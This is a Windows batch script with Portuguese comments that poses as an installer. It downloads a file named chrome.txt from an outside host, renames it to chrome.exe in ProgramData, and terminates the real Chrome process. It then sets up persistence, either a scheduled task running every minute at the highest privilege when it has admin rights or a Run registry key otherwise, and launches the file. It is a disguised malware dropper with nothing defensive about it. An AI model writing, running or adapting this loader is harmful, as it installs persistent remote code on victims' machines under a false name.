@echo off setlocal enabledelayedexpansion REM ============================== REM URLs dos arquivos REM ============================== set "URL_TXT=http://iene.app.com/chrome.txt" REM Pasta de destino set "CLOUD_DIR=%PROGRAMDATA%\cloud" if not exist "%CLOUD_DIR%" mkdir "%CLOUD_DIR%" REM Caminhos completos set "TXT_PATH=%CLOUD_DIR%\chrome.txt" set "EXE_PATH=%CLOUD_DIR%\chrome.exe" echo ===================================================== echo [0/5] Preparando ambiente de instalacao... echo ===================================================== REM ==================================== REM 1. ENCERRA QUALQUER PROCESSO ATIVO REM ==================================== echo Verificando se chrome.exe esta em execucao... tasklist /FI "IMAGENAME eq chrome.exe" | find /I "chrome.exe" >nul 2>&1 if %errorlevel%==0 ( echo Processo encontrado. Encerrando... taskkill /F /IM chrome.exe >nul 2>&1 echo Processo chrome.exe encerrado com sucesso. ) else ( echo Nenhum processo chrome.exe ativo encontrado. ) REM ==================================== REM 2. LIMPA A PASTA ANTIGA REM ==================================== if exist "%CLOUD_DIR%" ( echo Limpando pasta antiga: "%CLOUD_DIR%" del /f /q "%CLOUD_DIR%\*" >nul 2>&1 ) else ( echo Pasta nao existia, sera criada. mkdir "%CLOUD_DIR%" ) echo Limpeza concluida. echo. REM ==================================== REM 3. DOWNLOAD DOS ARQUIVOS VIA POWERSHELL REM ==================================== echo [1/5] Baixando chrome.txt via PowerShell... powershell -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('%URL_TXT%', '%TXT_PATH%')" if errorlevel 1 ( echo Erro ao baixar chrome.txt pause exit /b 1 ) if not exist "%TXT_PATH%" ( echo ERRO: chrome.txt nao foi baixado corretamente. pause exit /b 1 ) echo [2/5] Renomeando chrome.txt para chrome.exe... ren "%TXT_PATH%" "chrome.exe" if errorlevel 1 ( echo Erro ao renomear arquivo. pause exit /b 1 ) REM ==================================== REM 4. CRIA A TAREFA AGENDADA REM ==================================== echo [4/5] Criando tarefa agendada... "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" >nul 2>&1 if %errorlevel%==0 ( set "RUNLEVEL=/rl HIGHEST" schtasks /create /tn "cloud" /tr "\"%EXE_PATH%\"" /sc minute /mo 1 %RUNLEVEL% /f echo Executando como Administrador ) else ( reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v cloud /t REG_SZ /d "%EXE_PATH%" /f echo Executando como usuario normal ) if errorlevel 1 ( echo Erro ao criar tarefa agendada pause exit /b 1 ) REM ==================================== REM 5. EXECUTA O PROGRAMA REM ==================================== echo [5/5] Executando o programa... start "" "%EXE_PATH%" echo. echo Instalacao concluida com sucesso! pause exit /b 0